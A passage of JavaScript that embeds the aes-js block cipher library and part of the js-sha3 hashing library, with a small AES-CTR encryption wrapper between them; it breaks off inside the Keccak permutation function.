                        result[4 * i + 3] = (Si[ t[(i + 1) % 4]        & 0xff] ^  tt       ) & 0xff;
                    }

                    return result;
                }


                /**
             *  Mode Of Operation - Electonic Codebook (ECB)
             */
                var ModeOfOperationECB = function(key) {
                    if (!(this instanceof ModeOfOperationECB)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    this.description = "Electronic Code Block";
                    this.name = "ecb";

                    this._aes = new AES(key);
                }

                ModeOfOperationECB.prototype.encrypt = function(plaintext) {
                    plaintext = coerceArray(plaintext);

                    if ((plaintext.length % 16) !== 0) {
                        throw new Error('invalid plaintext size (must be multiple of 16 bytes)');
                    }

                    var ciphertext = createArray(plaintext.length);
                    var block = createArray(16);

                    for (var i = 0; i < plaintext.length; i += 16) {
                        copyArray(plaintext, block, 0, i, i + 16);
                        block = this._aes.encrypt(block);
                        copyArray(block, ciphertext, i);
                    }

                    return ciphertext;
                }

                ModeOfOperationECB.prototype.decrypt = function(ciphertext) {
                    ciphertext = coerceArray(ciphertext);

                    if ((ciphertext.length % 16) !== 0) {
                        throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');
                    }

                    var plaintext = createArray(ciphertext.length);
                    var block = createArray(16);

                    for (var i = 0; i < ciphertext.length; i += 16) {
                        copyArray(ciphertext, block, 0, i, i + 16);
                        block = this._aes.decrypt(block);
                        copyArray(block, plaintext, i);
                    }

                    return plaintext;
                }


                /**
             *  Mode Of Operation - Cipher Block Chaining (CBC)
             */
                var ModeOfOperationCBC = function(key, iv) {
                    if (!(this instanceof ModeOfOperationCBC)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    this.description = "Cipher Block Chaining";
                    this.name = "cbc";

                    if (!iv) {
                        iv = createArray(16);

                    } else if (iv.length != 16) {
                        throw new Error('invalid initialation vector size (must be 16 bytes)');
                    }

                    this._lastCipherblock = coerceArray(iv, true);

                    this._aes = new AES(key);
                }

                ModeOfOperationCBC.prototype.encrypt = function(plaintext) {
                    plaintext = coerceArray(plaintext);

                    if ((plaintext.length % 16) !== 0) {
                        throw new Error('invalid plaintext size (must be multiple of 16 bytes)');
                    }

                    var ciphertext = createArray(plaintext.length);
                    var block = createArray(16);

                    for (var i = 0; i < plaintext.length; i += 16) {
                        copyArray(plaintext, block, 0, i, i + 16);

                        for (var j = 0; j < 16; j++) {
                            block[j] ^= this._lastCipherblock[j];
                        }

                        this._lastCipherblock = this._aes.encrypt(block);
                        copyArray(this._lastCipherblock, ciphertext, i);
                    }

                    return ciphertext;
                }

                ModeOfOperationCBC.prototype.decrypt = function(ciphertext) {
                    ciphertext = coerceArray(ciphertext);

                    if ((ciphertext.length % 16) !== 0) {
                        throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');
                    }

                    var plaintext = createArray(ciphertext.length);
                    var block = createArray(16);

                    for (var i = 0; i < ciphertext.length; i += 16) {
                        copyArray(ciphertext, block, 0, i, i + 16);
                        block = this._aes.decrypt(block);

                        for (var j = 0; j < 16; j++) {
                            plaintext[i + j] = block[j] ^ this._lastCipherblock[j];
                        }

                        copyArray(ciphertext, this._lastCipherblock, 0, i, i + 16);
                    }

                    return plaintext;
                }


                /**
             *  Mode Of Operation - Cipher Feedback (CFB)
             */
                var ModeOfOperationCFB = function(key, iv, segmentSize) {
                    if (!(this instanceof ModeOfOperationCFB)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    this.description = "Cipher Feedback";
                    this.name = "cfb";

                    if (!iv) {
                        iv = createArray(16);

                    } else if (iv.length != 16) {
                        throw new Error('invalid initialation vector size (must be 16 size)');
                    }

                    if (!segmentSize) { segmentSize = 1; }

                    this.segmentSize = segmentSize;

                    this._shiftRegister = coerceArray(iv, true);

                    this._aes = new AES(key);
                }

                ModeOfOperationCFB.prototype.encrypt = function(plaintext) {
                    if ((plaintext.length % this.segmentSize) != 0) {
                        throw new Error('invalid plaintext size (must be segmentSize bytes)');
                    }

                    var encrypted = coerceArray(plaintext, true);

                    var xorSegment;
                    for (var i = 0; i < encrypted.length; i += this.segmentSize) {
                        xorSegment = this._aes.encrypt(this._shiftRegister);
                        for (var j = 0; j < this.segmentSize; j++) {
                            encrypted[i + j] ^= xorSegment[j];
                        }

                        // Shift the register
                        copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);
                        copyArray(encrypted, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);
                    }

                    return encrypted;
                }

                ModeOfOperationCFB.prototype.decrypt = function(ciphertext) {
                    if ((ciphertext.length % this.segmentSize) != 0) {
                        throw new Error('invalid ciphertext size (must be segmentSize bytes)');
                    }

                    var plaintext = coerceArray(ciphertext, true);

                    var xorSegment;
                    for (var i = 0; i < plaintext.length; i += this.segmentSize) {
                        xorSegment = this._aes.encrypt(this._shiftRegister);

                        for (var j = 0; j < this.segmentSize; j++) {
                            plaintext[i + j] ^= xorSegment[j];
                        }

                        // Shift the register
                        copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);
                        copyArray(ciphertext, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);
                    }

                    return plaintext;
                }

                /**
             *  Mode Of Operation - Output Feedback (OFB)
             */
                var ModeOfOperationOFB = function(key, iv) {
                    if (!(this instanceof ModeOfOperationOFB)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    this.description = "Output Feedback";
                    this.name = "ofb";

                    if (!iv) {
                        iv = createArray(16);

                    } else if (iv.length != 16) {
                        throw new Error('invalid initialation vector size (must be 16 bytes)');
                    }

                    this._lastPrecipher = coerceArray(iv, true);
                    this._lastPrecipherIndex = 16;

                    this._aes = new AES(key);
                }

                ModeOfOperationOFB.prototype.encrypt = function(plaintext) {
                    var encrypted = coerceArray(plaintext, true);

                    for (var i = 0; i < encrypted.length; i++) {
                        if (this._lastPrecipherIndex === 16) {
                            this._lastPrecipher = this._aes.encrypt(this._lastPrecipher);
                            this._lastPrecipherIndex = 0;
                        }
                        encrypted[i] ^= this._lastPrecipher[this._lastPrecipherIndex++];
                    }

                    return encrypted;
                }

                // Decryption is symetric
                ModeOfOperationOFB.prototype.decrypt = ModeOfOperationOFB.prototype.encrypt;


                /**
             *  Counter object for CTR common mode of operation
             */
                var Counter = function(initialValue) {
                    if (!(this instanceof Counter)) {
                        throw Error('Counter must be instanitated with `new`');
                    }

                    // We allow 0, but anything false-ish uses the default 1
                    if (initialValue !== 0 && !initialValue) { initialValue = 1; }

                    if (typeof(initialValue) === 'number') {
                        this._counter = createArray(16);
                        this.setValue(initialValue);

                    } else {
                        this.setBytes(initialValue);
                    }
                }

                Counter.prototype.setValue = function(value) {
                    if (typeof(value) !== 'number' || parseInt(value) != value) {
                        throw new Error('invalid counter value (must be an integer)');
                    }

                    // We cannot safely handle numbers beyond the safe range for integers
                    if (value > Number.MAX_SAFE_INTEGER) {
                        throw new Error('integer value out of safe range');
                    }

                    for (var index = 15; index >= 0; --index) {
                        this._counter[index] = value % 256;
                        value = parseInt(value / 256);
                    }
                }

                Counter.prototype.setBytes = function(bytes) {
                    bytes = coerceArray(bytes, true);

                    if (bytes.length != 16) {
                        throw new Error('invalid counter bytes size (must be 16 bytes)');
                    }

                    this._counter = bytes;
                };

                Counter.prototype.increment = function() {
                    for (var i = 15; i >= 0; i--) {
                        if (this._counter[i] === 255) {
                            this._counter[i] = 0;
                        } else {
                            this._counter[i]++;
                            break;
                        }
                    }
                }


                /**
             *  Mode Of Operation - Counter (CTR)
             */
                var ModeOfOperationCTR = function(key, counter) {
                    if (!(this instanceof ModeOfOperationCTR)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    this.description = "Counter";
                    this.name = "ctr";

                    if (!(counter instanceof Counter)) {
                        counter = new Counter(counter)
                    }

                    this._counter = counter;

                    this._remainingCounter = null;
                    this._remainingCounterIndex = 16;

                    this._aes = new AES(key);
                }

                ModeOfOperationCTR.prototype.encrypt = function(plaintext) {
                    var encrypted = coerceArray(plaintext, true);

                    for (var i = 0; i < encrypted.length; i++) {
                        if (this._remainingCounterIndex === 16) {
                            this._remainingCounter = this._aes.encrypt(this._counter._counter);
                            this._remainingCounterIndex = 0;
                            this._counter.increment();
                        }
                        encrypted[i] ^= this._remainingCounter[this._remainingCounterIndex++];
                    }

                    return encrypted;
                }

                // Decryption is symetric
                ModeOfOperationCTR.prototype.decrypt = ModeOfOperationCTR.prototype.encrypt;


                ///////////////////////
                // Padding

                // See:https://tools.ietf.org/html/rfc2315
                function pkcs7pad(data) {
                    data = coerceArray(data, true);
                    var padder = 16 - (data.length % 16);
                    var result = createArray(data.length + padder);
                    copyArray(data, result);
                    for (var i = data.length; i < result.length; i++) {
                        result[i] = padder;
                    }
                    return result;
                }

                function pkcs7strip(data) {
                    data = coerceArray(data, true);
                    if (data.length < 16) { throw new Error('PKCS#7 invalid length'); }

                    var padder = data[data.length - 1];
                    if (padder > 16) { throw new Error('PKCS#7 padding byte out of range'); }

                    var length = data.length - padder;
                    for (var i = 0; i < padder; i++) {
                        if (data[length + i] !== padder) {
                            throw new Error('PKCS#7 invalid padding byte');
                        }
                    }

                    var result = createArray(length);
                    copyArray(data, result, 0, 0, length);
                    return result;
                }

                ///////////////////////
                // Exporting


                // The block cipher
                var aesjs = {
                    AES: AES,
                    Counter: Counter,

                    ModeOfOperation: {
                        ecb: ModeOfOperationECB,
                        cbc: ModeOfOperationCBC,
                        cfb: ModeOfOperationCFB,
                        ofb: ModeOfOperationOFB,
                        ctr: ModeOfOperationCTR
                    },

                    utils: {
                        hex: convertHex,
                        utf8: convertUtf8
                    },

                    padding: {
                        pkcs7: {
                            pad: pkcs7pad,
                            strip: pkcs7strip
                        }
                    },

                    _arrayTest: {
                        coerceArray: coerceArray,
                        createArray: createArray,
                        copyArray: copyArray,
                    }
                };

                return aesjs;
            })();
            //end aes-js

            /**
             * 
             * @param {string} plaintext thing to encrypt
             * @param {Uint8Array} key byte array that denotes the key (symmetric)
             * @param {number} CTR_ a shared number to start the counter from
             * @returns {string} hex string of the encrypted payload
             */
            function AESEncrypt2(plaintext, key, CTR_) {
                var encoded = aesjs.utils.utf8.toBytes(plaintext)
                var enckey = key; //NO ENCODING
                var counter_ = CTR_;
                var aesCtr = new aesjs.ModeOfOperation.ctr(enckey, new aesjs.Counter(counter_));
                var encryptedBytes = aesCtr.encrypt(encoded);
                return aesjs.utils.hex.fromBytes(encryptedBytes);
            };
            /**
             * 
             * @param {string} ciphertext thing to decrypt
             * @param {Uint8Array} key byte array denoting the key (symmetric)
             * @param {number} CTR_ a shared number to start the counter for (see what AES-CTR is to understand this)
             * @returns {string} decrypted text
             */
            /*function AESDecrypt2(ciphertext, key, CTR_) {
                var decoded = aesjs.utils.hex.toBytes(ciphertext)
                var enckey = key; //NO ENCODING
                var aesCtr = new aesjs.ModeOfOperation.ctr(enckey, new aesjs.Counter(CTR_));
                var decryptedBytes = aesCtr.decrypt(decoded);
                var decoded2 = aesjs.utils.utf8.fromBytes(decryptedBytes);
                return decoded2;
            };*/ //wrapper functions

            /**
             * [js-sha3]{@link https://github.com/emn178/js-sha3}
             *
             * @version 0.8.0
             * @author Chen, Yi-Cyuan [emn178@gmail.com]
             * @copyright Chen, Yi-Cyuan 2015-2018
             * @license MIT
             */
            /*jslint bitwise: true */
            const methods = (function () {
                'use strict';

                var INPUT_ERROR = 'input is invalid type';
                var FINALIZE_ERROR = 'finalize already called';
                var WINDOW = typeof window === 'object';
                var root = WINDOW ? window : {};
                if (root.JS_SHA3_NO_WINDOW) {
                    WINDOW = false;
                }
                var WEB_WORKER = !WINDOW && typeof self === 'object';
                var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
                if (NODE_JS) {
                    root = global;
                } else if (WEB_WORKER) {
                    root = self;
                }
                var COMMON_JS = !root.JS_SHA3_NO_COMMON_JS && typeof module === 'object' && module.exports;
                var AMD = typeof define === 'function' && define.amd;
                var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
                var HEX_CHARS = '0123456789abcdef'.split('');
                var SHAKE_PADDING = [31, 7936, 2031616, 520093696];
                var CSHAKE_PADDING = [4, 1024, 262144, 67108864];
                var KECCAK_PADDING = [1, 256, 65536, 16777216];
                var PADDING = [6, 1536, 393216, 100663296];
                var SHIFT = [0, 8, 16, 24];
                var RC = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649,
                        0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0,
                        2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771,
                        2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648,
                        2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648];
                var BITS = [224, 256, 384, 512];
                var SHAKE_BITS = [128, 256];
                var OUTPUT_TYPES = ['hex', 'buffer', 'arrayBuffer', 'array', 'digest'];
                var CSHAKE_BYTEPAD = {
                    '128': 168,
                    '256': 136
                };

                if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) {
                    Array.isArray = function (obj) {
                        return Object.prototype.toString.call(obj) === '[object Array]';
                    };
                }

                if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
                    ArrayBuffer.isView = function (obj) {
                        return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer;
                    };
                }

                var createOutputMethod = function (bits, padding, outputType) {
                    return function (message) {
                        return new Keccak(bits, padding, bits).update(message)[outputType]();
                    };
                };

                var createShakeOutputMethod = function (bits, padding, outputType) {
                    return function (message, outputBits) {
                        return new Keccak(bits, padding, outputBits).update(message)[outputType]();
                    };
                };

                var createCshakeOutputMethod = function (bits, padding, outputType) {
                    return function (message, outputBits, n, s) {
                        return methods['cshake' + bits].update(message, outputBits, n, s)[outputType]();
                    };
                };

                var createKmacOutputMethod = function (bits, padding, outputType) {
                    return function (key, message, outputBits, s) {
                        return methods['kmac' + bits].update(key, message, outputBits, s)[outputType]();
                    };
                };

                var createOutputMethods = function (method, createMethod, bits, padding) {
                    for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                        var type = OUTPUT_TYPES[i];
                        method[type] = createMethod(bits, padding, type);
                    }
                    return method;
                };

                var createMethod = function (bits, padding) {
                    var method = createOutputMethod(bits, padding, 'hex');
                    method.create = function () {
                        return new Keccak(bits, padding, bits);
                    };
                    method.update = function (message) {
                        return method.create().update(message);
                    };
                    return createOutputMethods(method, createOutputMethod, bits, padding);
                };

                var createShakeMethod = function (bits, padding) {
                    var method = createShakeOutputMethod(bits, padding, 'hex');
                    method.create = function (outputBits) {
                        return new Keccak(bits, padding, outputBits);
                    };
                    method.update = function (message, outputBits) {
                        return method.create(outputBits).update(message);
                    };
                    return createOutputMethods(method, createShakeOutputMethod, bits, padding);
                };

                var createCshakeMethod = function (bits, padding) {
                    var w = CSHAKE_BYTEPAD[bits];
                    var method = createCshakeOutputMethod(bits, padding, 'hex');
                    method.create = function (outputBits, n, s) {
                        if (!n && !s) {
                            return methods['shake' + bits].create(outputBits);
                        } else {
                            return new Keccak(bits, padding, outputBits).bytepad([n, s], w);
                        }
                    };
                    method.update = function (message, outputBits, n, s) {
                        return method.create(outputBits, n, s).update(message);
                    };
                    return createOutputMethods(method, createCshakeOutputMethod, bits, padding);
                };

                var createKmacMethod = function (bits, padding) {
                    var w = CSHAKE_BYTEPAD[bits];
                    var method = createKmacOutputMethod(bits, padding, 'hex');
                    method.create = function (key, outputBits, s) {
                        return new Kmac(bits, padding, outputBits).bytepad(['KMAC', s], w).bytepad([key], w);
                    };
                    method.update = function (key, message, outputBits, s) {
                        return method.create(key, outputBits, s).update(message);
                    };
                    return createOutputMethods(method, createKmacOutputMethod, bits, padding);
                };

                var algorithms = [
                    { name: 'keccak', padding: KECCAK_PADDING, bits: BITS, createMethod: createMethod },
                    { name: 'sha3', padding: PADDING, bits: BITS, createMethod: createMethod },
                    { name: 'shake', padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod },
                    { name: 'cshake', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod },
                    { name: 'kmac', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod }
                ];

                var methods = {}, methodNames = [];

                for (var i = 0; i < algorithms.length; ++i) {
                    var algorithm = algorithms[i];
                    var bits = algorithm.bits;
                    for (var j = 0; j < bits.length; ++j) {
                        var methodName = algorithm.name + '_' + bits[j];
                        methodNames.push(methodName);
                        methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding);
                        if (algorithm.name !== 'sha3') {
                            var newMethodName = algorithm.name + bits[j];
                            methodNames.push(newMethodName);
                            methods[newMethodName] = methods[methodName];
                        }
                    }
                }

                function Keccak(bits, padding, outputBits) {
                    this.blocks = [];
                    this.s = [];
                    this.padding = padding;
                    this.outputBits = outputBits;
                    this.reset = true;
                    this.finalized = false;
                    this.block = 0;
                    this.start = 0;
                    this.blockCount = (1600 - (bits << 1)) >> 5;
                    this.byteCount = this.blockCount << 2;
                    this.outputBlocks = outputBits >> 5;
                    this.extraBytes = (outputBits & 31) >> 3;

                    for (var i = 0; i < 50; ++i) {
                        this.s[i] = 0;
                    }
                }

                Keccak.prototype.update = function (message) {
                    if (this.finalized) {
                        throw new Error(FINALIZE_ERROR);
                    }
                    var notString, type = typeof message;
                    if (type !== 'string') {
                        if (type === 'object') {
                            if (message === null) {
                                throw new Error(INPUT_ERROR);
                            } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
                                message = new Uint8Array(message);
                            } else if (!Array.isArray(message)) {
                                if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
                                    throw new Error(INPUT_ERROR);
                                }
                            }
                        } else {
                            throw new Error(INPUT_ERROR);
                        }
                        notString = true;
                    }
                    var blocks = this.blocks, byteCount = this.byteCount, length = message.length,
                        blockCount = this.blockCount, index = 0, s = this.s, i, code;

                    while (index < length) {
                        if (this.reset) {
                            this.reset = false;
                            blocks[0] = this.block;
                            for (i = 1; i < blockCount + 1; ++i) {
                                blocks[i] = 0;
                            }
                        }
                        if (notString) {
                            for (i = this.start; index < length && i < byteCount; ++index) {
                                blocks[i >> 2] |= message[index] << SHIFT[i++ & 3];
                            }
                        } else {
                            for (i = this.start; index < length && i < byteCount; ++index) {
                                code = message.charCodeAt(index);
                                if (code < 0x80) {
                                    blocks[i >> 2] |= code << SHIFT[i++ & 3];
                                } else if (code < 0x800) {
                                    blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
                                } else if (code < 0xd800 || code >= 0xe000) {
                                    blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
                                } else {
                                    code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
                                    blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                                    blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
                                }
                            }
                        }
                        this.lastByteIndex = i;
                        if (i >= byteCount) {
                            this.start = i - byteCount;
                            this.block = blocks[blockCount];
                            for (i = 0; i < blockCount; ++i) {
                                s[i] ^= blocks[i];
                            }
                            f(s);
                            this.reset = true;
                        } else {
                            this.start = i;
                        }
                    }
                    return this;
                };

                Keccak.prototype.encode = function (x, right) {
                    var o = x & 255, n = 1;
                    var bytes = [o];
                    x = x >> 8;
                    o = x & 255;
                    while (o > 0) {
                        bytes.unshift(o);
                        x = x >> 8;
                        o = x & 255;
                        ++n;
                    }
                    if (right) {
                        bytes.push(n);
                    } else {
                        bytes.unshift(n);
                    }
                    this.update(bytes);
                    return bytes.length;
                };

                Keccak.prototype.encodeString = function (str) {
                    var notString, type = typeof str;
                    if (type !== 'string') {
                        if (type === 'object') {
                            if (str === null) {
                                throw new Error(INPUT_ERROR);
                            } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) {
                                str = new Uint8Array(str);
                            } else if (!Array.isArray(str)) {
                                if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) {
                                    throw new Error(INPUT_ERROR);
                                }
                            }
                        } else {
                            throw new Error(INPUT_ERROR);
                        }
                        notString = true;
                    }
                    var bytes = 0, length = str.length;
                    if (notString) {
                        bytes = length;
                    } else {
                        for (var i = 0; i < str.length; ++i) {
                            var code = str.charCodeAt(i);
                            if (code < 0x80) {
                                bytes += 1;
                            } else if (code < 0x800) {
                                bytes += 2;
                            } else if (code < 0xd800 || code >= 0xe000) {
                                bytes += 3;
                            } else {
                                code = 0x10000 + (((code & 0x3ff) << 10) | (str.charCodeAt(++i) & 0x3ff));
                                bytes += 4;
                            }
                        }
                    }
                    bytes += this.encode(bytes * 8);
                    this.update(str);
                    return bytes;
                };

                Keccak.prototype.bytepad = function (strs, w) {
                    var bytes = this.encode(w);
                    for (var i = 0; i < strs.length; ++i) {
                        bytes += this.encodeString(strs[i]);
                    }
                    var paddingBytes = w - bytes % w;
                    var zeros = [];
                    zeros.length = paddingBytes;
                    this.update(zeros);
                    return this;
                };

                Keccak.prototype.finalize = function () {
                    if (this.finalized) {
                        return;
                    }
                    this.finalized = true;
                    var blocks = this.blocks, i = this.lastByteIndex, blockCount = this.blockCount, s = this.s;
                    blocks[i >> 2] |= this.padding[i & 3];
                    if (this.lastByteIndex === this.byteCount) {
                        blocks[0] = blocks[blockCount];
                        for (i = 1; i < blockCount + 1; ++i) {
                            blocks[i] = 0;
                        }
                    }
                    blocks[blockCount - 1] |= 0x80000000;
                    for (i = 0; i < blockCount; ++i) {
                        s[i] ^= blocks[i];
                    }
                    f(s);
                };

                Keccak.prototype.toString = Keccak.prototype.hex = function () {
                    this.finalize();

                    var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
                        extraBytes = this.extraBytes, i = 0, j = 0;
                    var hex = '', block;
                    while (j < outputBlocks) {
                        for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
                            block = s[i];
                            hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F] +
                                HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F] +
                                HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F] +
                                HEX_CHARS[(block >> 28) & 0x0F] + HEX_CHARS[(block >> 24) & 0x0F];
                        }
                        if (j % blockCount === 0) {
                            f(s);
                            i = 0;
                        }
                    }
                    if (extraBytes) {
                        block = s[i];
                        hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F];
                        if (extraBytes > 1) {
                            hex += HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F];
                        }
                        if (extraBytes > 2) {
                            hex += HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F];
                        }
                    }
                    return hex;
                };

                Keccak.prototype.arrayBuffer = function () {
                    this.finalize();

                    var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
                        extraBytes = this.extraBytes, i = 0, j = 0;
                    var bytes = this.outputBits >> 3;
                    var buffer;
                    if (extraBytes) {
                        buffer = new ArrayBuffer((outputBlocks + 1) << 2);
                    } else {
                        buffer = new ArrayBuffer(bytes);
                    }
                    var array = new Uint32Array(buffer);
                    while (j < outputBlocks) {
                        for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
                            array[j] = s[i];
                        }
                        if (j % blockCount === 0) {
                            f(s);
                        }
                    }
                    if (extraBytes) {
                        array[i] = s[i];
                        buffer = buffer.slice(0, bytes);
                    }
                    return buffer;
                };

                Keccak.prototype.buffer = Keccak.prototype.arrayBuffer;

                Keccak.prototype.digest = Keccak.prototype.array = function () {
                    this.finalize();

                    var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
                        extraBytes = this.extraBytes, i = 0, j = 0;
                    var array = [], offset, block;
                    while (j < outputBlocks) {
                        for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
                            offset = j << 2;
                            block = s[i];
                            array[offset] = block & 0xFF;
                            array[offset + 1] = (block >> 8) & 0xFF;
                            array[offset + 2] = (block >> 16) & 0xFF;
                            array[offset + 3] = (block >> 24) & 0xFF;
                        }
                        if (j % blockCount === 0) {
                            f(s);
                        }
                    }
                    if (extraBytes) {
                        offset = j << 2;
                        block = s[i];
                        array[offset] = block & 0xFF;
                        if (extraBytes > 1) {
                            array[offset + 1] = (block >> 8) & 0xFF;
                        }
                        if (extraBytes > 2) {
                            array[offset + 2] = (block >> 16) & 0xFF;
                        }
                    }
                    return array;
                };

                function Kmac(bits, padding, outputBits) {
                    Keccak.call(this, bits, padding, outputBits);
                }

                Kmac.prototype = new Keccak();

                Kmac.prototype.finalize = function () {
                    this.encode(this.outputBits, true);
                    return Keccak.prototype.finalize.call(this);
                };

                var f = function (s) {
                    var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9,
                        b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17,
                        b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33,
                        b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49;
                    for (n = 0; n < 48; n += 2) {
                        c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40];
                        c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41];
                        c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42];
                        c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43];
                        c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44];
                        c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45];
                        c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46];
                        c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47];
                        c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48];
                        c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49];

                        h = c8 ^ ((c2 << 1) | (c3 >>> 31));
                        l = c9 ^ ((c3 << 1) | (c2 >>> 31));
                        s[0] ^= h;
                        s[1] ^= l;
                        s[10] ^= h;
                        s[11] ^= l;
                        s[20] ^= h;
                        s[21] ^= l;
                        s[30] ^= h;
                        s[31] ^= l;
                        s[40] ^= h;
                        s[41] ^= l;
                        h = c0 ^ ((c4 << 1) | (c5 >>> 31));
                        l = c1 ^ ((c5 << 1) | (c4 >>> 31));
                        s[2] ^= h;
                        s[3] ^= l;
                        s[12] ^= h;
                        s[13] ^= l;
                        s[22] ^= h;
                        s[23] ^= l;
                        s[32] ^= h;
                        s[33] ^= l;
                        s[42] ^= h;
                        s[43] ^= l;
                        h = c2 ^ ((c6 << 1) | (c7 >>> 31));
                        l = c3 ^ ((c7 << 1) | (c6 >>> 31));
                        s[4] ^= h;
                        s[5] ^= l;
                        s[14] ^= h;
                        s[15] ^= l;
                        s[24] ^= h;
                        s[25] ^= l;
                        s[34] ^= h;
                        s[35] ^= l;
                        s[44] ^= h;
                        s[45] ^= l;
                        h = c4 ^ ((c8 << 1) | (c9 >>> 31));
                        l = c5 ^ ((c9 << 1) | (c8 >>> 31));
                        s[6] ^= h;
                        s[7] ^= l;
                        s[16] ^= h;
                        s[17] ^= l;
                        s[26] ^= h;
                        s[27] ^= l;
                        s[36] ^= h;
                        s[37] ^= l;
                        s[46] ^= h;
                        s[47] ^= l;
                        h = c6 ^ ((c0 << 1) | (c1 >>> 31));
                        l = c7 ^ ((c1 << 1) | (c0 >>> 31));
                        s[8] ^= h;
                        s[9] ^= l;
                        s[18] ^= h;
                        s[19] ^= l;
                        s[28] ^= h;
                        s[29] ^= l;
                        s[38] ^= h;
                        s[39] ^= l;
                        s[48] ^= h;
                        s[49] ^= l;

                        b0 = s[0];
                        b1 = s[1];
                        b32 = (s[11] << 4) | (s[10] >>> 28);
                        b33 = (s[10] << 4) | (s[11] >>> 28);
                        b14 = (s[20] << 3) | (s[21] >>> 29);
                        b15 = (s[21] << 3) | (s[20] >>> 29);
                        b46 = (s[31] << 9) | (s[30] >>> 23);
                        b47 = (s[30] << 9) | (s[31] >>> 23);
                        b28 = (s[40] << 18) | (s[41] >>> 14);
                        b29 = (s[41] << 18) | (s[40] >>> 14);
                        b20 = (s[2] << 1) | (s[3] >>> 31);
                        b21 = (s[3] << 1) | (s[2] >>> 31);
                        b2 = (s[13] << 12) | (s[12] >>> 20);
                        b3 = (s[12] << 12) | (s[13] >>> 20);
                        b34 = (s[22] << 10) | (s[23] >>> 22);
                        b35 = (s[23] << 10) | (s[22] >>> 22);
                        b16 = (s[33] << 13) | (s[32] >>> 19);
                        b17 = (s[32] << 13) | (s[33] >>> 19);
                        b48 = (s[42] << 2) | (s[43] >>> 30);
                        b49 = (s[43] << 2) | (s[42] >>> 30);
                        b40 = (s[5] << 30) | (s[4] >>> 2);
                        b41 = (s[4] << 30) | (s[5] >>> 2);
                        b22 = (s[14] << 6) | (s[15] >>> 26);
